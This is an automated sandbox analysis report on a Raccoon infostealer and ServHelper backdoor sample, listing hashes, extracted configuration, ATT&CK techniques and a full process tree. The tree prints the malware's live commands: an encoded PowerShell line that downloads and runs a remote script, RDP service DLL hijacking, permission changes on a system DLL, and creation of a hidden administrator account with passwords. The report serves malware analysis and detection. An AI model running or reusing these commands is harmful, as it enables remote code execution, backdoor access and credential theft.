raccoon | 1555f744c779e3ce93f92b454ad2092e136622c39c21eca20125dd79cdf8fb94

Analysis

max time kernel
122s
max time network
137s
platform
windows7_x64
resource
win7v20210410
submitted
02-06-2021 17:28

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General

Target

144a972ebcac8d04b109130673570b6d.exe
Size

569KB
MD5

144a972ebcac8d04b109130673570b6d
SHA1

1c5aeea1afeb68b46b3f6dba3c63f91219bcc8fe
SHA256

1555f744c779e3ce93f92b454ad2092e136622c39c21eca20125dd79cdf8fb94
SHA512

9a76cfe4c828b069401f689ba05ebe459ba6a7d02c5e08dce06c8a49d6ba7c48447f3272be1a70d0939fde0903641f2a7bc812ce0167bc84e6d4f95e01eb0b35

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1812	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1016	MslFFiUPO3.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
652	takeown.exe
940	icacls.exe
1480	icacls.exe
1368	icacls.exe
1164	icacls.exe
1360	icacls.exe
1536	icacls.exe
1936	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130f3-199.dat	upx
behavioral1/files/0x00060000000130f4-200.dat	upx

Deletes itself 1 IoCs

pid	Process
1252	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1904	144a972ebcac8d04b109130673570b6d.exe
1100	Process not Found
1100	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1360	icacls.exe
1536	icacls.exe
1936	icacls.exe
652	takeown.exe
940	icacls.exe
1480	icacls.exe
1368	icacls.exe
1164	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e38cb0ac-5000-4ff7-9300-eb0491e4d20f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a98f4e72-8708-4db2-a8b0-33231363ed69	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S5D34UOHXBFXI90RNKVN.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_84f7c2ff-f0b8-4d7a-a1ac-f75e4ff12458	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_96854684-0f6d-4f82-b7d6-7964687f86c1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0122bcd7-f1c7-487d-93c9-734b5f417bc5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_27e38e4f-41a4-47cc-b09b-2037180674bb	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eeb37376-937b-4882-b99d-d09eb7053cbb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e71e3ea9-bef0-45b4-a80e-31972998eb8a	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d0558a69-0ca5-4040-ac87-fff633dc81e7	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f84b5c4e-a877-454d-9d42-b52f82ce8c1d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_610a96ac-281c-470c-b9c2-0c6832339aba	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1172	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6067e79cd457d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
396	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	144a972ebcac8d04b109130673570b6d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	144a972ebcac8d04b109130673570b6d.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1804	powershell.exe
1804	powershell.exe
1924	powershell.exe
1924	powershell.exe
1360	powershell.exe
1360	powershell.exe
1352	powershell.exe
1352	powershell.exe
1804	powershell.exe
1804	powershell.exe
1804	powershell.exe
1812	powershell.exe
1812	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
1100	Process not Found
1100	Process not Found
1100	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeRestorePrivilege	1368	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeAuditPrivilege	1080	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeAuditPrivilege	1080	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	868	WMIC.exe
Token: SeAuditPrivilege	868	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	868	WMIC.exe
Token: SeAuditPrivilege	868	WMIC.exe
Token: SeDebugPrivilege	1812	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 1016	1904	144a972ebcac8d04b109130673570b6d.exe	30
PID 1904 wrote to memory of 1016	1904	144a972ebcac8d04b109130673570b6d.exe	30
PID 1904 wrote to memory of 1016	1904	144a972ebcac8d04b109130673570b6d.exe	30
PID 1904 wrote to memory of 1016	1904	144a972ebcac8d04b109130673570b6d.exe	30
PID 1904 wrote to memory of 1252	1904	144a972ebcac8d04b109130673570b6d.exe	31
PID 1904 wrote to memory of 1252	1904	144a972ebcac8d04b109130673570b6d.exe	31
PID 1904 wrote to memory of 1252	1904	144a972ebcac8d04b109130673570b6d.exe	31
PID 1904 wrote to memory of 1252	1904	144a972ebcac8d04b109130673570b6d.exe	31
PID 1252 wrote to memory of 1172	1252	cmd.exe	33
PID 1252 wrote to memory of 1172	1252	cmd.exe	33
PID 1252 wrote to memory of 1172	1252	cmd.exe	33
PID 1252 wrote to memory of 1172	1252	cmd.exe	33
PID 1016 wrote to memory of 1804	1016	MslFFiUPO3.exe	34
PID 1016 wrote to memory of 1804	1016	MslFFiUPO3.exe	34
PID 1016 wrote to memory of 1804	1016	MslFFiUPO3.exe	34
PID 1804 wrote to memory of 1392	1804	powershell.exe	36
PID 1804 wrote to memory of 1392	1804	powershell.exe	36
PID 1804 wrote to memory of 1392	1804	powershell.exe	36
PID 1392 wrote to memory of 1480	1392	csc.exe	37
PID 1392 wrote to memory of 1480	1392	csc.exe	37
PID 1392 wrote to memory of 1480	1392	csc.exe	37
PID 1804 wrote to memory of 1924	1804	powershell.exe	38
PID 1804 wrote to memory of 1924	1804	powershell.exe	38
PID 1804 wrote to memory of 1924	1804	powershell.exe	38
PID 1804 wrote to memory of 1360	1804	powershell.exe	40
PID 1804 wrote to memory of 1360	1804	powershell.exe	40
PID 1804 wrote to memory of 1360	1804	powershell.exe	40
PID 1804 wrote to memory of 1352	1804	powershell.exe	42
PID 1804 wrote to memory of 1352	1804	powershell.exe	42
PID 1804 wrote to memory of 1352	1804	powershell.exe	42
PID 1804 wrote to memory of 652	1804	powershell.exe	45
PID 1804 wrote to memory of 652	1804	powershell.exe	45
PID 1804 wrote to memory of 652	1804	powershell.exe	45
PID 1804 wrote to memory of 940	1804	powershell.exe	46
PID 1804 wrote to memory of 940	1804	powershell.exe	46
PID 1804 wrote to memory of 940	1804	powershell.exe	46
PID 1804 wrote to memory of 1368	1804	powershell.exe	48
PID 1804 wrote to memory of 1368	1804	powershell.exe	48
PID 1804 wrote to memory of 1368	1804	powershell.exe	48
PID 1804 wrote to memory of 1480	1804	powershell.exe	47
PID 1804 wrote to memory of 1480	1804	powershell.exe	47
PID 1804 wrote to memory of 1480	1804	powershell.exe	47
PID 1804 wrote to memory of 1164	1804	powershell.exe	49
PID 1804 wrote to memory of 1164	1804	powershell.exe	49
PID 1804 wrote to memory of 1164	1804	powershell.exe	49
PID 1804 wrote to memory of 1360	1804	powershell.exe	50
PID 1804 wrote to memory of 1360	1804	powershell.exe	50
PID 1804 wrote to memory of 1360	1804	powershell.exe	50
PID 1804 wrote to memory of 1536	1804	powershell.exe	51
PID 1804 wrote to memory of 1536	1804	powershell.exe	51
PID 1804 wrote to memory of 1536	1804	powershell.exe	51
PID 1804 wrote to memory of 1936	1804	powershell.exe	52
PID 1804 wrote to memory of 1936	1804	powershell.exe	52
PID 1804 wrote to memory of 1936	1804	powershell.exe	52
PID 1804 wrote to memory of 1768	1804	powershell.exe	53
PID 1804 wrote to memory of 1768	1804	powershell.exe	53
PID 1804 wrote to memory of 1768	1804	powershell.exe	53
PID 1804 wrote to memory of 396	1804	powershell.exe	54
PID 1804 wrote to memory of 396	1804	powershell.exe	54
PID 1804 wrote to memory of 396	1804	powershell.exe	54
PID 1804 wrote to memory of 828	1804	powershell.exe	55
PID 1804 wrote to memory of 828	1804	powershell.exe	55
PID 1804 wrote to memory of 828	1804	powershell.exe	55
PID 1804 wrote to memory of 1184	1804	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe
"C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Users\Admin\AppData\Local\Temp\MslFFiUPO3.exe
  "C:\Users\Admin\AppData\Local\Temp\MslFFiUPO3.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\avviajfl\avviajfl.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES864F.tmp" "c:\Users\Admin\AppData\Local\Temp\avviajfl\CSC72B602D8FD7144EC94B776E3BD92C322.TMP"
        5⤵
        
        PID:1480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1352
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:652
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:940
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1480
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1368
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1164
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1360
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1536
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1936
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1768
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:396
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:828
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1184
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1680
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1564
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1724
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:928
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:616
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1480
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:572
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:292
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:340
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1724
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1172

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:340
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1184

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc kmUxnkTz /add
1⤵
PID:904
- C:\Windows\system32\net.exe
  net.exe user wgautilacc kmUxnkTz /add
  2⤵
  PID:1724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc kmUxnkTz /add
    3⤵
    PID:1760

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1312
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:828

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1564
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1676
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1080

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc kmUxnkTz
1⤵
PID:1668
- C:\Windows\system32\net.exe
  net.exe user wgautilacc kmUxnkTz
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc kmUxnkTz
    3⤵
    PID:1564

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:828
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1080

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1252
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:868

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1924
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1812

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1952
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1016-81-0x0000000028627000-0x0000000028628000-memory.dmp

Filesize
4KB

Download
memory/1016-79-0x0000000028624000-0x0000000028626000-memory.dmp

Filesize
8KB

Download
memory/1016-80-0x0000000028626000-0x0000000028627000-memory.dmp

Filesize
4KB

Download
memory/1016-78-0x0000000028622000-0x0000000028624000-memory.dmp

Filesize
8KB

Download
memory/1016-76-0x0000000041800000-0x0000000041C21000-memory.dmp

Filesize
4.1MB

Download
memory/1352-166-0x000000001A8A0000-0x000000001A8A2000-memory.dmp

Filesize
8KB

Download
memory/1352-167-0x000000001A8A4000-0x000000001A8A6000-memory.dmp

Filesize
8KB

Download
memory/1360-146-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
